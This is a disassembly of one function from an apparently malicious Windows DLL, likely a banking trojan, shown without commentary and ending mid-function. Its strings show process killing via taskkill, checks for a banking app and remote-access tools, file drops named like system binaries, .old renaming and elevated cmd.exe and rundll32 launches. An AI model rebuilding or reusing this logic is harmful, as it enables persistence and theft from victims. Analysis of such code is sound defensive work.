Function at 0x1800093a0
Capabilities:
Create directory
Create process on windows
Delete file
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x18004b058]
xor rax, rsp
mov qword [rbp + 0x260], rax
xor r12d, r12d
lea rbx, [0x18004bca8]
mov rdx, rbx
lea rcx, [rbp + 0x130]
call fcn.18000cc00
mov rdx, rax
call fcn.180006210
movabs rsi, 0x7fffffffffffffff
lea edi, [r12 + 7]
test al, al
jne 0x180009657
mov byte [0x18004da51], r12b
mov rcx, qword [0x18004bcb8]
mov rax, rsi
sub rax, rcx
cmp rax, 0x11
jb 0x18000b257
cmp qword [0x18004bcc0], 0x10
cmovae rbx, qword [0x18004bca8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 0x11
lea r9, str._C_taskkill__IM__
lea rcx, [rbp + 0x50]
call fcn.18000f5f0
nop
lea r8d, [r12 + 0xb]
lea rdx, str.___F__exit
lea rcx, [rbp + 0x50]
call fcn.18000d520
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x1800094dc
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800094d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b25d
call fcn.1800115b0
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
mov r14, qword [rbp]
add r14, rdx
lea rbx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rbx, qword [rbp - 0x10]
mov qword [rbp - 0x30], r12
mov rcx, r12
mov qword [rbp - 0x20], rcx
mov rdx, rdi
mov qword [rbp - 0x18], rdx
mov rax, r14
sub rax, rbx
cmp rax, 8
jb 0x180009544
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.18000e180
mov rcx, r12
mov qword [rbp - 0x20], rcx
mov rdx, qword [rbp - 0x18]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
cmp rbx, r14
je 0x18000959f
movsx r9d, byte [rbx]
cmp rcx, rdx
jae 0x18000957d
lea rax, [rcx + 1]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmp rdx, 8
cmovae rax, qword [rbp - 0x30]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x18000958d
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x30]
call fcn.18000e2f0
inc rbx
mov rdx, qword [rbp - 0x18]
cmp rbx, r14
je 0x18000959f
mov rcx, qword [rbp - 0x20]
jmp 0x180009552
lea r9, [rbp - 0x30]
cmp rdx, 8
cmovae r9, qword [rbp - 0x30]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x18000960f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000960a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b263
call fcn.1800115b0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], rdi
mov word [rbp - 0x30], r12w
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180009657
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009652
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b269
call fcn.1800115b0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov r8d, 0x12
lea rdx, str.itauaplicativo.exe
lea rcx, [rbp + 0x50]
call fcn.18000d3c0
lea rdx, [rbp + 0x50]
call fcn.180006210
test al, al
je 0x180009718
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov r8, rdi
lea rdx, str.AnyDesk
lea rcx, [rbp + 0x50]
call fcn.18000d3c0
lea rcx, [rbp + 0x50]
call fcn.1800033d0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov r8d, 0x12
lea rdx, str.TeamViewer_Service
lea rcx, [rbp + 0x50]
call fcn.18000d3c0
lea rcx, [rbp + 0x50]
call fcn.1800033d0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov r8d, 0xa
lea rdx, str.TeamViewer
lea rcx, [rbp + 0x50]
call fcn.18000d3c0
lea rcx, [rbp + 0x50]
call fcn.1800033d0
call fcn.180008e60
test al, al
jne 0x180009726
call fcn.180006490
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
mov r8d, 0x14
lea rdx, str.c:windowsSysWOW64_
lea rcx, [rbp + 0x50]
call fcn.18000d3c0
nop
mov qword [rbp + 0x90], r12
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov r8d, 0x16
lea rdx, str.C:Program_FilesIntel
lea rcx, [rbp + 0x90]
call fcn.18000d3c0
nop
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
mov r14, qword [rbp + 0xa0]
lea r15, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae r15, qword [rbp + 0x90]
cmp r14, 0x10
jae 0x1800097ca
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0x30], xmm0
mov ebx, 0xf
jmp 0x180009836
mov rbx, r14
or rbx, 0xf
cmp rbx, rsi
cmova rbx, rsi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180009814
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000b26f
mov rcx, rax
call fcn.1800115e4
mov rcx, rax
test rax, rax
je 0x18000b275
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180009823
test rcx, rcx
je 0x180009820
call fcn.1800115e4
jmp 0x180009823
mov rax, r12
mov qword [rbp + 0x30], rax
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call fcn.180013540
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], rbx
lea rcx, [rbp + 0x30]
call fcn.180005d50
test eax, eax
jne 0x180009867
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rcx, qword [rbp + 0x90]
call fcn.180019ed4
mov rax, rsi
mov rcx, qword [rbp + 0xa0]
sub rax, rcx
cmp rax, 0x16
jb 0x18000b27b
lea r9, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae r9, qword [rbp + 0x90]
mov qword [rsp + 0x30], 0x16
lea rax, str.PlataformActivate.exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xd0]
call fcn.18000f5f0
nop
lea rcx, [rbp + 0xb0]
call fcn.180004b10
nop
mov r8d, 0xd
lea rdx, str.dllhost2.exe
mov rcx, rax
call fcn.18000d520
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
call fcn.180005540
movzx ebx, al
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x180009959
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009954
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b281
call fcn.1800115b0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x1800099aa
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800099a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b287
call fcn.1800115b0
test bl, bl
je 0x180009c93
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rcx, qword [rbp + 0xd0]
call fcn.180005540
test al, al
je 0x180009b8e
xor ecx, ecx
call fcn.180019424
mov rcx, rax
call fcn.180019a80
lea rcx, [rbp + 0xb0]
call fcn.180005ad0
nop
lea r8, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae r8, qword [rbp + 0xd0]
mov r9, qword [rbp + 0xe0]
mov rcx, rax
call fcn.18000f710
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..old
lea rcx, [rbp - 0x10]
call fcn.18000d520
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rcx, qword [rbp + 0xd0]
call fcn.180019fb4
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x180009ae7
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009ae2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b28d
call fcn.1800115b0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180009b32
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009b2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b293
call fcn.1800115b0
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x180009b83
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009b7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b299
call fcn.1800115b0
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rbx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rbx, qword [rbp + 0xd0]
lea rcx, [rbp + 0xb0]
call fcn.180004b10
nop
mov r8d, 0xd
lea rdx, str.dllhost2.exe
mov rcx, rax
call fcn.18000d520
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov rdx, rbx
call fcn.180019fb4
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x180009c42
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009c3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b29f
call fcn.1800115b0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x180009c93
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009c8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2a5
call fcn.1800115b0
mov rcx, qword [0x18004bc98]
mov rax, rsi
sub rax, rcx
cmp rax, 0xf
jb 0x18000b2ab
lea r15, [0x18004bc88]
mov r9, r15
cmp qword [0x18004bca0], 0x10
cmovae r9, qword [0x18004bc88]
mov qword [rsp + 0x30], 0xf
lea r14, [0x1800426e0]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x30]
call fcn.18000f5f0
nop
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.180005540
movzx ebx, al
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x180009d39
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009d34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2b1
call fcn.1800115b0
test bl, bl
je 0x18000a2a3
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, rsi
mov rcx, qword [rbp + 0x60]
sub rax, rcx
cmp rax, 0xe
jb 0x18000b2b7
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae r9, qword [rbp + 0x50]
mov qword [rsp + 0x30], 0xe
lea rax, str.ModuleMain.dll
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x70]
call fcn.18000f5f0
nop
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rcx, qword [rbp + 0x70]
call fcn.180005540
test al, al
je 0x180009f5c
xor ecx, ecx
call fcn.180019424
mov rcx, rax
call fcn.180019a80
lea rcx, [rbp + 0xb0]
call fcn.180005ad0
nop
lea r8, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae r8, qword [rbp + 0x70]
mov r9, qword [rbp + 0x80]
mov rcx, rax
call fcn.18000f710
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..old
lea rcx, [rbp + 0x30]
call fcn.18000d520
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rcx, qword [rbp + 0x70]
call fcn.180019fb4
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180009eb5
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009eb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2bd
call fcn.1800115b0
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x180009f00
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009efb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2c3
call fcn.1800115b0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x180009f51
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009f4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2c9
call fcn.1800115b0
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rbx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rbx, qword [rbp + 0x70]
mov rcx, qword [0x18004bc98]
mov rax, rsi
sub rax, rcx
cmp rax, 0xf
jb 0x18000b2cf
mov r9, r15
cmp qword [0x18004bca0], 0x10
cmovae r9, qword [0x18004bc88]
mov qword [rsp + 0x30], 0xf
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x30]
call fcn.18000f5f0
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
mov rdx, rbx
call fcn.180019fb4
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x18000a004
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009fff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2d5
call fcn.1800115b0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, rsi
mov rcx, qword [rbp + 0x80]
sub rax, rcx
cmp rax, 0x11
jb 0x18000b2db
lea rax, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rax, qword [rbp + 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x11
lea r9, str._C_rundll32.exe__
lea rcx, [rbp + 0x30]
call fcn.18000f5f0
nop
mov r8d, 0x16
lea rdx, str.__CallIntModule__exit
lea rcx, [rbp + 0x30]
call fcn.18000d520
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x18000a0d6
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a0d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2e1
call fcn.1800115b0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
lea r14, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae r14, qword [rbp + 0x10]
add r14, qword [rbp + 0x20]
lea rbx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rbx, qword [rbp + 0x10]
mov qword [rbp - 0x30], r12
mov rcx, r12
mov qword [rbp - 0x20], rcx
mov rdx, rdi
mov qword [rbp - 0x18], rdx
mov rax, r14
sub rax, rbx
cmp rax, 8
jb 0x18000a13b
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.18000e180
mov rcx, r12
mov qword [rbp - 0x20], rcx
mov rdx, qword [rbp - 0x18]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
cmp rbx, r14
je 0x18000a19d
nop dword [rax]
movsx r9d, byte [rbx]
cmp rcx, rdx
jae 0x18000a17b
lea rax, [rcx + 1]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmp rdx, 8
cmovae rax, qword [rbp - 0x30]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x18000a18b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x30]
call fcn.18000e2f0
inc rbx
mov rdx, qword [rbp - 0x18]
cmp rbx, r14
je 0x18000a19d
mov rcx, qword [rbp - 0x20]
jmp 0x18000a150
lea r9, [rbp - 0x30]
cmp rdx, 8
cmovae r9, qword [rbp - 0x30]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x18000a20d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a208
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2e7
call fcn.1800115b0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], rdi
mov word [rbp - 0x30], r12w
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x18000a255
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a250
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2ed
call fcn.1800115b0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x18000a2a3
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a29e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2f3
call fcn.1800115b0
mov rcx, qword [0x18004bc98]
mov rax, rsi
sub rax, rcx
cmp rax, 0xd
jb 0x18000b2f9
mov r9, r15
cmp qword [0x18004bca0], 0x10
cmovae r9, qword [0x18004bc88]
mov qword [rsp + 0x30], 0xd
lea r14, str.MpClient.dll
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x30]
call fcn.18000f5f0
nop
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.180005540
movzx ebx, al
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x18000a342
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a33d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b2ff
call fcn.1800115b0
test bl, bl
je 0x18000a5da
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, rsi
mov rcx, qword [rbp + 0xa0]
sub rax, rcx
cmp rax, 0xd
jb 0x18000b305
lea r9, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae r9, qword [rbp + 0x90]
mov qword [rsp + 0x30], 0xd
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x30]
call fcn.18000f5f0
nop
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call fcn.180005540
test al, al
je 0x18000a4e8
xor ecx, ecx
call fcn.180019424
mov rcx, rax
call fcn.180019a80
lea rcx, [rbp + 0x130]
call fcn.180005ad0
nop
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae r8, qword [rbp - 0x30]
mov r9, qword [rbp - 0x20]
mov rcx, rax
call fcn.18000f710
mov qword [rbp + 0x30], r12
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..old
lea rcx, [rbp + 0x30]
call fcn.18000d520
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call fcn.180019fb4
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x18000a4b7
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a4b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b30b
call fcn.1800115b0
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
lea rcx, [rbp + 0x30]
call fcn.18000cb60
nop
lea rcx, [rbp + 0x130]
call fcn.18000cb60
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rbx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rbx, qword [rbp - 0x30]
mov rax, qword [0x18004bc98]
sub rsi, rax
cmp rsi, 0xd
jb 0x18000b311
cmp qword [0x18004bca0], 0x10
cmovae r15, qword [0x18004bc88]
mov qword [rsp + 0x30], 0xd
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
mov r9, r15
lea rcx, [rbp + 0x30]
call fcn.18000f5f0
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
mov rdx, rbx
call fcn.180019fb4
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x18000a58a
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a585
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b317
call fcn.1800115b0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x18000b136
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a5d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b31d
call fcn.1800115b0
jmp 0x18000b136
lea rcx, [rbp + 0xb0]
call fcn.180004e50
mov rbx, rax
mov rdx, qword [0x18004bc98]
mov rcx, rsi
sub rcx, rdx
cmp rcx, 1
jb 0x18000b323
mov r9, r15
cmp qword [0x18004bca0], 0x10
cmovae r9, qword [0x18004bc88]
mov qword [rsp + 0x30], 1
lea r13, [0x1800424d0]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x110]
call fcn.18000f5f0
nop
mov r9, rbx
lea r8, [rbp + 0x110]
lea rcx, [rbp + 0x30]
call fcn.18000f400
nop
mov r8d, 5
lea rdx, str.S.ini
lea rcx, [rbp + 0x30]
call fcn.18000d520
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
